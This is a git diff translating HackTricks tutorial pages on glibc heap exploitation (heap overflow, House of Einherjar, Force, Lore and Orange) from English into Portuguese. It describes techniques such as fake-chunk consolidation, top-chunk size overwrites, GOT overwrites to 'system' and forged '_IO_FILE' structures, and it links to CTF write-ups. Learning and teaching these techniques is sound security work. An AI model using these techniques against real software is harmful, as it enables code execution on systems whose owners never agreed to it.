+Portanto, no post anterior onde um heap overflow está acontecendo, para forçar o objeto transbordado a colidir com uma ordem de vítima, vários **`kallocs` são forçados por várias threads para tentar garantir que todos os blocos livres sejam preenchidos e que uma nova página seja criada**.
 
-In order to force this filling with objects of a specific size, the **out-of-line allocation associated with an iOS mach port** is an ideal candidate. By crafting the size of the message, it’s possible to exactly specify the size of `kalloc` allocation and when the corresponding mach port is destroyed, the corresponding allocation will be immediately released back to `kfree`.
+Para forçar esse preenchimento com objetos de um tamanho específico, a **alocação fora da linha associada a um mach port do iOS** é um candidato ideal. Ao elaborar o tamanho da mensagem, é possível especificar exatamente o tamanho da alocação `kalloc` e, quando o mach port correspondente é destruído, a alocação correspondente será imediatamente liberada de volta para `kfree`.
 
-Then, some of these placeholders can be **freed**. The **`kalloc.4096` free list releases elements in a last-in-first-out order**, which basically means that if some place holders are freed and the exploit try lo allocate several victim objects while trying to allocate the object vulnerable to overflow, it’s probable that this object will be followed by a victim object.
+Então, alguns desses espaços reservados podem ser **liberados**. A **lista livre `kalloc.4096` libera elementos em uma ordem de último a primeiro**, o que basicamente significa que se alguns espaços reservados forem liberados e a exploração tentar alocar vários objetos de vítima enquanto tenta alocar o objeto vulnerável ao overflow, é provável que esse objeto seja seguido por um objeto de vítima.
 
-### Example libc
+### Exemplo libc
 
-[**In this page**](https://guyinatuxedo.github.io/27-edit_free_chunk/heap_consolidation_explanation/index.html) it's possible to find a basic Heap overflow emulation that shows how overwriting the prev in use bit of the next chunk and the position of the prev size it's possible to **consolidate a used chunk** (by making it thing it's unused) and **then allocate it again** being able to overwrite data that is being used in a different pointer also.
+[**Nesta página**](https://guyinatuxedo.github.io/27-edit_free_chunk/heap_consolidation_explanation/index.html) é possível encontrar uma emulação básica de Heap overflow que mostra como sobrescrever o bit prev in use do próximo bloco e a posição do tamanho prev é possível **consolidar um bloco usado** (fazendo-o pensar que está não utilizado) e **então alocá-lo novamente**, sendo capaz de sobrescrever dados que estão sendo usados em um ponteiro diferente também.
 
-Another example from [**protostar heap 0**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap0/index.html) shows a very basic example of a CTF where a **heap overflow** can be abused to call the winner function to **get the flag**.
+Outro exemplo do [**protostar heap 0**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap0/index.html) mostra um exemplo muito básico de um CTF onde um **heap overflow** pode ser abusado para chamar a função vencedora para **obter a bandeira**.
 
-In the [**protostar heap 1**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap1/index.html) example it's possible to see how abusing a buffer overflow it's possible to **overwrite in a near chunk an address** where **arbitrary data from the user** is going to be written to.
+No exemplo do [**protostar heap 1**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap1/index.html), é possível ver como abusar de um buffer overflow é possível **sobrescrever em um bloco próximo um endereço** onde **dados arbitrários do usuário** serão escritos.
 
-### Example ARM64
-
-In the page [https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/](https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/) you can find a heap overflow example where a command that is going to be executed is stored in the following chunk from the overflowed chunk. So, it's possible to modify the executed command by overwriting it with an easy exploit such as:
+### Exemplo ARM64
 
+Na página [https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/](https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/) você pode encontrar um exemplo de heap overflow onde um comando que será executado é armazenado no seguinte bloco do bloco transbordado. Assim, é possível modificar o comando executado sobrescrevendo-o com uma exploração fácil, como:
 ```bash
 python3 -c 'print("/"*0x400+"/bin/ls\x00")' > hax.txt
 ```
-
-### Other examples
+### Outros exemplos
 
 - [**Auth-or-out. Hack The Box**](https://7rocky.github.io/en/ctf/htb-challenges/pwn/auth-or-out/)
-  - We use an Integer Overflow vulnerability to get a Heap Overflow.
-  - We corrupt pointers to a function inside a `struct` of the overflowed chunk to set a function such as `system` and get code execution.
+- Usamos uma vulnerabilidade de Overflow de Inteiro para obter um Heap Overflow.
+- Corrompemos ponteiros para uma função dentro de um `struct` do chunk transbordado para definir uma função como `system` e obter execução de código.
 
 {{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/libc-heap/house-of-einherjar.md b/src/binary-exploitation/libc-heap/house-of-einherjar.md
index 28c6fd437..22b5397bd 100644
--- a/src/binary-exploitation/libc-heap/house-of-einherjar.md
+++ b/src/binary-exploitation/libc-heap/house-of-einherjar.md
@@ -2,48 +2,48 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-## Basic Information
+## Informações Básicas
 
-### Code
+### Código
 
-- Check the example from [https://github.com/shellphish/how2heap/blob/master/glibc_2.35/house_of_einherjar.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/house_of_einherjar.c)
-- Or the one from [https://guyinatuxedo.github.io/42-house_of_einherjar/house_einherjar_exp/index.html#house-of-einherjar-explanation](https://guyinatuxedo.github.io/42-house_of_einherjar/house_einherjar_exp/index.html#house-of-einherjar-explanation) (you might need to fill the tcache)
+- Confira o exemplo em [https://github.com/shellphish/how2heap/blob/master/glibc_2.35/house_of_einherjar.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/house_of_einherjar.c)
+- Ou o de [https://guyinatuxedo.github.io/42-house_of_einherjar/house_einherjar_exp/index.html#house-of-einherjar-explanation](https://guyinatuxedo.github.io/42-house_of_einherjar/house_einherjar_exp/index.html#house-of-einherjar-explanation) (você pode precisar preencher o tcache)
 
-### Goal
+### Objetivo
 
-- The goal is to allocate memory in almost any specific address.
+- O objetivo é alocar memória em quase qualquer endereço específico.
 
-### Requirements
+### Requisitos
 
-- Create a fake chunk when we want to allocate a chunk:
-  - Set pointers to point to itself to bypass sanity checks
-- One-byte overflow with a null byte from one chunk to the next one to modify the `PREV_INUSE` flag.
-- Indicate in the `prev_size` of the off-by-null abused chunk the difference between itself and the fake chunk
-  - The fake chunk size must also have been set the same size to bypass sanity checks
-- For constructing these chunks, you will need a heap leak.
+- Criar um chunk falso quando quisermos alocar um chunk:
+- Definir ponteiros para apontar para si mesmos para contornar verificações de sanidade
+- Overflow de um byte com um byte nulo de um chunk para o próximo para modificar a flag `PREV_INUSE`.
+- Indicar no `prev_size` do chunk abusado por off-by-null a diferença entre ele e o chunk falso
+- O tamanho do chunk falso também deve ter sido definido com o mesmo tamanho para contornar verificações de sanidade
+- Para construir esses chunks, você precisará de um leak de heap.
 
-### Attack
+### Ataque
 
-- `A` fake chunk is created inside a chunk controlled by the attacker pointing with `fd` and `bk` to the original chunk to bypass protections
-- 2 other chunks (`B` and `C`) are allocated
-- Abusing the off by one in the `B` one the `prev in use` bit is cleaned and the `prev_size` data is overwritten with the difference between the place where the `C` chunk is allocated, to the fake `A` chunk generated before
-  - This `prev_size` and the size in the fake chunk `A` must be the same to bypass checks.
-- Then, the tcache is filled
-- Then, `C` is freed so it consolidates with the fake chunk `A`
-- Then, a new chunk `D` is created which will be starting in the fake `A` chunk and covering `B` chunk
-  - The house of Einherjar finishes here
-- This can be continued with a fast bin attack or Tcache poisoning:
-  - Free `B` to add it to the fast bin / Tcache
-  - `B`'s `fd` is overwritten making it point to the target address abusing the `D` chunk (as it contains `B` inside) 
-  - Then, 2 mallocs are done and the second one is going to be **allocating the target address**
+- Um chunk falso `A` é criado dentro de um chunk controlado pelo atacante apontando com `fd` e `bk` para o chunk original para contornar as proteções
+- 2 outros chunks (`B` e `C`) são alocados
+- Abusando o off by one no `B`, o bit `prev in use` é limpo e os dados de `prev_size` são sobrescritos com a diferença entre o lugar onde o chunk `C` é alocado e o chunk falso `A` gerado anteriormente
+- Este `prev_size` e o tamanho no chunk falso `A` devem ser os mesmos para contornar as verificações.
+- Em seguida, o tcache é preenchido
+- Então, `C` é liberado para que se consolide com o chunk falso `A`
+- Em seguida, um novo chunk `D` é criado que começará no chunk falso `A` e cobrirá o chunk `B`
+- A casa de Einherjar termina aqui
+- Isso pode ser continuado com um ataque de fast bin ou envenenamento de Tcache:
+- Liberar `B` para adicioná-lo ao fast bin / Tcache
+- O `fd` de `B` é sobrescrito fazendo-o apontar para o endereço alvo abusando do chunk `D` (já que contém `B` dentro) 
+- Em seguida, 2 mallocs são feitos e o segundo irá **alocar o endereço alvo**
 
-## References and other examples
+## Referências e outros exemplos
 
 - [https://github.com/shellphish/how2heap/blob/master/glibc_2.35/house_of_einherjar.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/house_of_einherjar.c)
 - **CTF** [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_einherjar/#2016-seccon-tinypad**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_einherjar/#2016-seccon-tinypad)
-  - After freeing pointers their aren't nullified, so it's still possible to access their data. Therefore a chunk is placed in the unsorted bin and leaked the pointers it contains (libc leak) and then a new heap is places on the unsorted bin and leaked a heap address from the pointer it gets.
+- Após liberar ponteiros, eles não são anulados, então ainda é possível acessar seus dados. Portanto, um chunk é colocado no bin não ordenado e os ponteiros que contém são vazados (libc leak) e então um novo heap é colocado no bin não ordenado e um endereço de heap é vazado a partir do ponteiro que obtém.
 - [**baby-talk. DiceCTF 2024**](https://7rocky.github.io/en/ctf/other/dicectf/baby-talk/)
-  - Null-byte overflow bug in `strtok`.
-  - Use House of Einherjar to get an overlapping chunks situation and finish with Tcache poisoning ti get an arbitrary write primitive.
+- Bug de overflow de byte nulo em `strtok`.
+- Use a Casa de Einherjar para obter uma situação de chunks sobrepostos e terminar com envenenamento de Tcache para obter um primitivo de escrita arbitrária.
 
 {{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/libc-heap/house-of-force.md b/src/binary-exploitation/libc-heap/house-of-force.md
index 7d4fb9247..92633c18f 100644
--- a/src/binary-exploitation/libc-heap/house-of-force.md
+++ b/src/binary-exploitation/libc-heap/house-of-force.md
@@ -2,45 +2,43 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-## Basic Information
+## Informações Básicas
 
-### Code
+### Código
 
-- This technique was patched ([**here**](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=30a17d8c95fbfb15c52d1115803b63aaa73a285c)) and produces this error: `malloc(): corrupted top size`
-  - You can try the [**code from here**](https://guyinatuxedo.github.io/41-house_of_force/house_force_exp/index.html) to test it if you want.
+- Esta técnica foi corrigida ([**aqui**](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=30a17d8c95fbfb15c52d1115803b63aaa73a285c)) e produz este erro: `malloc(): corrupted top size`
+- Você pode tentar o [**código daqui**](https://guyinatuxedo.github.io/41-house_of_force/house_force_exp/index.html) para testá-lo se quiser.
 
-### Goal
+### Objetivo
 
-- The goal of this attack is to be able to allocate a chunk in a specific address.
+- O objetivo deste ataque é conseguir alocar um chunk em um endereço específico.
 
-### Requirements
+### Requisitos
 
-- An overflow that allows to overwrite the size of the top chunk header (e.g. -1).
-- Be able to control the size of the heap allocation
+- Um overflow que permita sobrescrever o tamanho do cabeçalho do top chunk (por exemplo, -1).
+- Ser capaz de controlar o tamanho da alocação do heap.
 
-### Attack
+### Ataque
 
-If an attacker wants to allocate a chunk in the address P to overwrite a value here. He starts by overwriting the top chunk size with `-1` (maybe with an overflow). This ensures that malloc won't be using mmap for any allocation as the Top chunk will always have enough space.
-
-Then, calculate the distance between the address of the top chunk and the target space to allocate. This is because a malloc with that size will be performed in order to move the top chunk to that position. This is how the difference/size can be easily calculated:
+Se um atacante quiser alocar um chunk no endereço P para sobrescrever um valor aqui. Ele começa sobrescrevendo o tamanho do top chunk com `-1` (talvez com um overflow). Isso garante que malloc não usará mmap para nenhuma alocação, já que o Top chunk sempre terá espaço suficiente.
 
+Em seguida, calcule a distância entre o endereço do top chunk e o espaço alvo para alocar. Isso ocorre porque uma malloc com esse tamanho será realizada para mover o top chunk para essa posição. É assim que a diferença/tamanho pode ser facilmente calculada:
 ```c
 // From https://github.com/shellphish/how2heap/blob/master/glibc_2.27/house_of_force.c#L59C2-L67C5
 /*
- * The evil_size is calulcated as (nb is the number of bytes requested + space for metadata):
- * new_top = old_top + nb
- * nb = new_top - old_top
- * req + 2sizeof(long) = new_top - old_top
- * req = new_top - old_top - 2sizeof(long)
- * req = target - 2sizeof(long) - old_top - 2sizeof(long)
- * req = target - old_top - 4*sizeof(long)
- */
+* The evil_size is calulcated as (nb is the number of bytes requested + space for metadata):
+* new_top = old_top + nb
+* nb = new_top - old_top
+* req + 2sizeof(long) = new_top - old_top
+* req = new_top - old_top - 2sizeof(long)
+* req = target - 2sizeof(long) - old_top - 2sizeof(long)
+* req = target - old_top - 4*sizeof(long)
+*/
 ```
+Portanto, alocar um tamanho de `target - old_top - 4*sizeof(long)` (os 4 longs são devido aos metadados do chunk superior e do novo chunk quando alocado) moverá o chunk superior para o endereço que queremos sobrescrever.\
+Em seguida, faça outro malloc para obter um chunk no endereço alvo.
 
-Therefore, allocating a size of `target - old_top - 4*sizeof(long)` (the 4 longs are because of the metadata of the top chunk and of the new chunk when allocated) will move the top chunk to the address we want to overwrite.\
-Then, do another malloc to get a chunk at the target address.
-
-### References & Other Examples
+### Referências e Outros Exemplos
 
 - [https://github.com/shellphish/how2heap/tree/master](https://github.com/shellphish/how2heap/tree/master?tab=readme-ov-file)
 - [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_force/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_force/)
@@ -48,17 +46,17 @@ Then, do another malloc to get a chunk at the target address.
 - [https://github.com/shellphish/how2heap/blob/master/glibc_2.27/house_of_force.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.27/house_of_force.c)
 - [https://guyinatuxedo.github.io/41-house_of_force/house_force_exp/index.html](https://guyinatuxedo.github.io/41-house_of_force/house_force_exp/index.html)
 - [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_force/#hitcon-training-lab-11](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_force/#hitcon-training-lab-11)
-  - The goal of this scenario is a ret2win where we need to modify the address of a function that is going to be called by the address of the ret2win function
-  - The binary has an overflow that can be abused to modify the top chunk size, which is modified to -1 or p64(0xffffffffffffffff)
-  - Then, it's calculated the address to the place where the pointer to overwrite exists, and the difference from the current position of the top chunk to there is alloced with `malloc`
-  - Finally a new chunk is alloced which will contain this desired target inside which is overwritten by the ret2win function
+- O objetivo deste cenário é um ret2win onde precisamos modificar o endereço de uma função que será chamada pelo endereço da função ret2win
+- O binário tem um overflow que pode ser explorado para modificar o tamanho do chunk superior, que é modificado para -1 ou p64(0xffffffffffffffff)
+- Em seguida, calcula-se o endereço do lugar onde o ponteiro a ser sobrescrito existe, e a diferença da posição atual do chunk superior até lá é alocada com `malloc`
+- Finalmente, um novo chunk é alocado que conterá este alvo desejado dentro do qual é sobrescrito pela função ret2win
 - [https://shift--crops-hatenablog-com.translate.goog/entry/2016/03/21/171249?\_x_tr_sl=es&\_x_tr_tl=en&\_x_tr_hl=en&\_x_tr_pto=wapp](https://shift--crops-hatenablog-com.translate.goog/entry/2016/03/21/171249?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp)
-  - In the `Input your name:` there is an initial vulnerability that allows to leak an address from the heap
-  - Then in the `Org:` and `Host:` functionality its possible to fill the 64B of the `s` pointer when asked for the **org name**, which in the stack is followed by the address of v2, which is then followed by the indicated **host name**. As then, strcpy is going to be copying the contents of s to a chunk of size 64B, it's possible to **overwrite the size of the top chunk** with the data put inside the **host name**.
-  - Now that arbitrary write it possible, the `atoi`'s GOT was overwritten to the address of printf. the it as possible to leak the address of `IO_2_1_stderr` _with_ `%24$p`. And with this libc leak it was possible to overwrite `atoi`'s GOT again with the address to `system` and call it passing as param `/bin/sh`
-    - An alternative method [proposed in this other writeup](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_force/#2016-bctf-bcloud), is to overwrite `free` with `puts`, and then add the address of `atoi@got`, in the pointer that will be later freed so it's leaked and with this leak overwrite again `atoi@got` with `system` and call it with `/bin/sh`.
+- No `Input your name:` há uma vulnerabilidade inicial que permite vazar um endereço da heap
+- Então, na funcionalidade `Org:` e `Host:`, é possível preencher os 64B do ponteiro `s` quando solicitado pelo **nome da org**, que na pilha é seguido pelo endereço de v2, que é então seguido pelo **nome do host** indicado. Como então, strcpy vai copiar o conteúdo de s para um chunk de tamanho 64B, é possível **sobrescrever o tamanho do chunk superior** com os dados colocados dentro do **nome do host**.
+- Agora que a escrita arbitrária é possível, o GOT de `atoi` foi sobrescrito para o endereço de printf. então foi possível vazar o endereço de `IO_2_1_stderr` _com_ `%24$p`. E com esse vazamento de libc foi possível sobrescrever novamente o GOT de `atoi` com o endereço de `system` e chamá-lo passando como parâmetro `/bin/sh`
+- Um método alternativo [proposto neste outro relatório](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_force/#2016-bctf-bcloud) é sobrescrever `free` com `puts`, e então adicionar o endereço de `atoi@got`, no ponteiro que será posteriormente liberado para que seja vazado e com esse vazamento sobrescrever novamente `atoi@got` com `system` e chamá-lo com `/bin/sh`.
 - [https://guyinatuxedo.github.io/41-house_of_force/bkp16_cookbook/index.html](https://guyinatuxedo.github.io/41-house_of_force/bkp16_cookbook/index.html)
-  - There is a UAF allowing to reuse a chunk that was freed without clearing the pointer. Because there are some read methods, it's possible to leak a libc address writing a pointer to the free function in the GOT here and then calling the read function.
-  - Then, House of force was used (abusing the UAF) to overwrite the size of the left space with a -1, allocate a chunk big enough to get tot he free hook, and then allocate another chunk which will contain the free hook. Then, write in the hook the address of `system`, write in a chunk `"/bin/sh"` and finally free the chunk with that string content.
+- Há um UAF permitindo reutilizar um chunk que foi liberado sem limpar o ponteiro. Como existem alguns métodos de leitura, é possível vazar um endereço da libc escrevendo um ponteiro para a função free no GOT aqui e então chamando a função de leitura.
+- Em seguida, a House of force foi usada (abusando do UAF) para sobrescrever o tamanho do espaço restante com um -1, alocar um chunk grande o suficiente para chegar ao free hook, e então alocar outro chunk que conterá o free hook. Então, escreva no hook o endereço de `system`, escreva em um chunk `"/bin/sh"` e finalmente libere o chunk com esse conteúdo de string.
 
 {{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/libc-heap/house-of-lore.md b/src/binary-exploitation/libc-heap/house-of-lore.md
index 862ba7323..53989f8c2 100644
--- a/src/binary-exploitation/libc-heap/house-of-lore.md
+++ b/src/binary-exploitation/libc-heap/house-of-lore.md
@@ -2,43 +2,43 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-## Basic Information
+## Informações Básicas
 
-### Code
+### Código
 
-- Check the one from [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_lore/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_lore/)
-  - This isn't working
-- Or: [https://github.com/shellphish/how2heap/blob/master/glibc_2.39/house_of_lore.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.39/house_of_lore.c)
-  - This isn't working even if it tries to bypass some checks getting the error: `malloc(): unaligned tcache chunk detected`
-- This example is still working: [**https://guyinatuxedo.github.io/40-house_of_lore/house_lore_exp/index.html**](https://guyinatuxedo.github.io/40-house_of_lore/house_lore_exp/index.html) 
+- Verifique o de [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_lore/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_lore/)
+- Isso não está funcionando
+- Ou: [https://github.com/shellphish/how2heap/blob/master/glibc_2.39/house_of_lore.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.39/house_of_lore.c)
+- Isso não está funcionando mesmo que tente contornar algumas verificações, gerando o erro: `malloc(): unaligned tcache chunk detected`
+- Este exemplo ainda está funcionando: [**https://guyinatuxedo.github.io/40-house_of_lore/house_lore_exp/index.html**](https://guyinatuxedo.github.io/40-house_of_lore/house_lore_exp/index.html) 
 
-### Goal
+### Objetivo
 
-- Insert a **fake small chunk in the small bin so then it's possible to allocate it**.\
-  Note that the small chunk added is the fake one the attacker creates and not a fake one in an arbitrary position.
+- Inserir um **chunk pequeno falso no small bin para que seja possível alocá-lo**.\
+Note que o chunk pequeno adicionado é o falso que o atacante cria e não um falso em uma posição arbitrária.
 
-### Requirements
+### Requisitos
 
-- Create 2 fake chunks and link them together and with the legit chunk in the small bin:
-  - `fake0.bk` -> `fake1`
-  - `fake1.fd` -> `fake0`
-  - `fake0.fd` -> `legit` (you need to modify a pointer in the freed small bin chunk via some other vuln)
-  - `legit.bk` -> `fake0`
+- Criar 2 chunks falsos e vinculá-los juntos e com o chunk legítimo no small bin:
+- `fake0.bk` -> `fake1`
+- `fake1.fd` -> `fake0`
+- `fake0.fd` -> `legit` (você precisa modificar um ponteiro no chunk do small bin liberado via alguma outra vulnerabilidade)
+- `legit.bk` -> `fake0`
 
-Then you will be able to allocate `fake0`.
+Então você poderá alocar `fake0`.
 
-### Attack
+### Ataque
 
-- A small chunk (`legit`) is allocated, then another one is allocated to prevent consolidating with top chunk. Then, `legit` is freed (moving it to the unsorted bin list) and the a larger chunk is allocated, **moving `legit` it to the small bin.**
-- An attacker generates a couple of fake small chunks, and makes the needed linking to bypass sanity checks:
-  - `fake0.bk` -> `fake1`
-  - `fake1.fd` -> `fake0`
-  - `fake0.fd` -> `legit` (you need to modify a pointer in the freed small bin chunk via some other vuln)
-  - `legit.bk` -> `fake0`
-- A small chunk is allocated to get legit, making **`fake0`** into the top list of small bins
-- Another small chunk is allocated, getting `fake0` as a chunk, allowing potentially to read/write pointers inside of it.
+- Um chunk pequeno (`legit`) é alocado, então outro é alocado para evitar a consolidação com o top chunk. Em seguida, `legit` é liberado (movendo-o para a lista de bins não ordenados) e um chunk maior é alocado, **movendo `legit` para o small bin.**
+- Um atacante gera alguns chunks pequenos falsos e faz a vinculação necessária para contornar as verificações de sanidade:
+- `fake0.bk` -> `fake1`
+- `fake1.fd` -> `fake0`
+- `fake0.fd` -> `legit` (você precisa modificar um ponteiro no chunk do small bin liberado via alguma outra vulnerabilidade)
+- `legit.bk` -> `fake0`
+- Um chunk pequeno é alocado para obter legit, tornando **`fake0`** a lista principal de small bins
+- Outro chunk pequeno é alocado, obtendo `fake0` como um chunk, permitindo potencialmente ler/escrever ponteiros dentro dele.
 
-## References
+## Referências
 
 - [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_lore/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_lore/)
 - [https://heap-exploitation.dhavalkapil.com/attacks/house_of_lore](https://heap-exploitation.dhavalkapil.com/attacks/house_of_lore)
diff --git a/src/binary-exploitation/libc-heap/house-of-orange.md b/src/binary-exploitation/libc-heap/house-of-orange.md
index e57f477c6..7c3c29cf2 100644
--- a/src/binary-exploitation/libc-heap/house-of-orange.md
+++ b/src/binary-exploitation/libc-heap/house-of-orange.md
@@ -2,72 +2,72 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-## Basic Information
+## Informações Básicas
 
-### Code
+### Código
 
-- Find an example in [https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_orange.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_orange.c)
-  - The exploitation technique was fixed in this [patch](https://sourceware.org/git/?p=glibc.git;a=blobdiff;f=stdlib/abort.c;h=117a507ff88d862445551f2c07abb6e45a716b75;hp=19882f3e3dc1ab830431506329c94dcf1d7cc252;hb=91e7cf982d0104f0e71770f5ae8e3faf352dea9f;hpb=0c25125780083cbba22ed627756548efe282d1a0) so this is no longer working (working in earlier than 2.26)
-- Same example **with more comments** in [https://guyinatuxedo.github.io/43-house_of_orange/house_orange_exp/index.html](https://guyinatuxedo.github.io/43-house_of_orange/house_orange_exp/index.html)
+- Encontre um exemplo em [https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_orange.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_orange.c)
+- A técnica de exploração foi corrigida neste [patch](https://sourceware.org/git/?p=glibc.git;a=blobdiff;f=stdlib/abort.c;h=117a507ff88d862445551f2c07abb6e45a716b75;hp=19882f3e3dc1ab830431506329c94dcf1d7cc252;hb=91e7cf982d0104f0e71770f5ae8e3faf352dea9f;hpb=0c25125780083cbba22ed627756548efe282d1a0) então isso não está mais funcionando (funcionando em versões anteriores a 2.26)
+- Mesmo exemplo **com mais comentários** em [https://guyinatuxedo.github.io/43-house_of_orange/house_orange_exp/index.html](https://guyinatuxedo.github.io/43-house_of_orange/house_orange_exp/index.html)
 
-### Goal
+### Objetivo
 
-- Abuse `malloc_printerr` function
+- Abusar da função `malloc_printerr`
 
-### Requirements
+### Requisitos
 
-- Overwrite the top chunk size
-- Libc and heap leaks
+- Sobrescrever o tamanho do chunk superior
+- Vazamentos de libc e heap
 
-### Background
+### Contexto
 
-Some needed background from the comments from [**this example**](https://guyinatuxedo.github.io/43-house_of_orange/house_orange_exp/index.html)**:**
+Algumas informações de fundo necessárias dos comentários de [**este exemplo**](https://guyinatuxedo.github.io/43-house_of_orange/house_orange_exp/index.html)**:**
 
-Thing is, in older versions of libc, when the `malloc_printerr` function was called it would **iterate through a list of `_IO_FILE` structs stored in `_IO_list_all`**, and actually **execute** an instruction pointer in that struct.\
-This attack will forge a **fake `_IO_FILE` struct** that we will write to **`_IO_list_all`**, and cause `malloc_printerr` to run.\
-Then it will **execute whatever address** we have stored in the **`_IO_FILE`** structs jump table, and we will get code execution
+A questão é que, em versões mais antigas da libc, quando a função `malloc_printerr` era chamada, ela **iterava através de uma lista de structs `_IO_FILE` armazenadas em `_IO_list_all`**, e na verdade **executava** um ponteiro de instrução naquela struct.\
+Este ataque irá forjar uma **struct `_IO_FILE` falsa** que escreveremos em **`_IO_list_all`**, e fará com que `malloc_printerr` seja executado.\
+Então, ele **executará qualquer endereço** que tivermos armazenado na tabela de saltos das structs **`_IO_FILE`**, e teremos execução de código.
 
-### Attack
+### Ataque
 
-The attack starts by managing to get the **top chunk** inside the **unsorted bin**. This is achieved by calling `malloc` with a size greater than the current top chunk size but smaller than **`mmp_.mmap_threshold`** (default is 128K), which would otherwise trigger `mmap` allocation. Whenever the top chunk size is modified, it's important to ensure that the **top chunk + its size** is page-aligned and that the **prev_inuse** bit of the top chunk is always set.
+O ataque começa conseguindo obter o **chunk superior** dentro do **bin não ordenado**. Isso é alcançado chamando `malloc` com um tamanho maior que o tamanho atual do chunk superior, mas menor que **`mmp_.mmap_threshold`** (o padrão é 128K), que de outra forma acionaria a alocação `mmap`. Sempre que o tamanho do chunk superior é modificado, é importante garantir que o **chunk superior + seu tamanho** esteja alinhado à página e que o bit **prev_inuse** do chunk superior esteja sempre definido.
 
-To get the top chunk inside the unsorted bin, allocate a chunk to create the top chunk, change the top chunk size (with an overflow in the allocated chunk) so that **top chunk + size** is page-aligned with the **prev_inuse** bit set. Then allocate a chunk larger than the new top chunk size. Note that `free` is never called to get the top chunk into the unsorted bin.
+Para obter o chunk superior dentro do bin não ordenado, aloque um chunk para criar o chunk superior, mude o tamanho do chunk superior (com um estouro no chunk alocado) para que **chunk superior + tamanho** esteja alinhado à página com o bit **prev_inuse** definido. Em seguida, aloque um chunk maior que o novo tamanho do chunk superior. Note que `free` nunca é chamado para colocar o chunk superior no bin não ordenado.
 
-The old top chunk is now in the unsorted bin. Assuming we can read data inside it (possibly due to a vulnerability that also caused the overflow), it’s possible to leak libc addresses from it and get the address of **\_IO_list_all**.
+O antigo chunk superior agora está no bin não ordenado. Supondo que possamos ler dados dentro dele (possivelmente devido a uma vulnerabilidade que também causou o estouro), é possível vazar endereços da libc a partir dele e obter o endereço de **\_IO_list_all**.
 
-An unsorted bin attack is performed by abusing the overflow to write `topChunk->bk->fwd = _IO_list_all - 0x10`. When a new chunk is allocated, the old top chunk will be split, and a pointer to the unsorted bin will be written into **`_IO_list_all`**.
+Um ataque ao bin não ordenado é realizado abusando do estouro para escrever `topChunk->bk->fwd = _IO_list_all - 0x10`. Quando um novo chunk é alocado, o antigo chunk superior será dividido, e um ponteiro para o bin não ordenado será escrito em **`_IO_list_all`**.
 
-The next step involves shrinking the size of the old top chunk to fit into a small bin, specifically setting its size to **0x61**. This serves two purposes:
+O próximo passo envolve reduzir o tamanho do antigo chunk superior para caber em um bin pequeno, especificamente definindo seu tamanho para **0x61**. Isso serve a dois propósitos:
 
-1. **Insertion into Small Bin 4**: When `malloc` scans through the unsorted bin and sees this chunk, it will try to insert it into small bin 4 due to its small size. This makes the chunk end up at the head of the small bin 4 list which is the location of the FD pointer of the chunk of **`_IO_list_all`** as we wrote a close address in **`_IO_list_all`** via the unsorted bin attack.
-2. **Triggering a Malloc Check**: This chunk size manipulation will cause `malloc` to perform internal checks. When it checks the size of the false forward chunk, which will be zero, it triggers an error and calls `malloc_printerr`.
+1. **Inserção no Bin Pequeno 4**: Quando `malloc` escaneia o bin não ordenado e vê este chunk, ele tentará inseri-lo no bin pequeno 4 devido ao seu pequeno tamanho. Isso faz com que o chunk termine na cabeça da lista do bin pequeno 4, que é a localização do ponteiro FD do chunk de **`_IO_list_all`** já que escrevemos um endereço próximo em **`_IO_list_all`** através do ataque ao bin não ordenado.
+2. **Acionando uma Verificação do Malloc**: Essa manipulação do tamanho do chunk fará com que `malloc` realize verificações internas. Quando ele verifica o tamanho do chunk falso para frente, que será zero, isso aciona um erro e chama `malloc_printerr`.
 
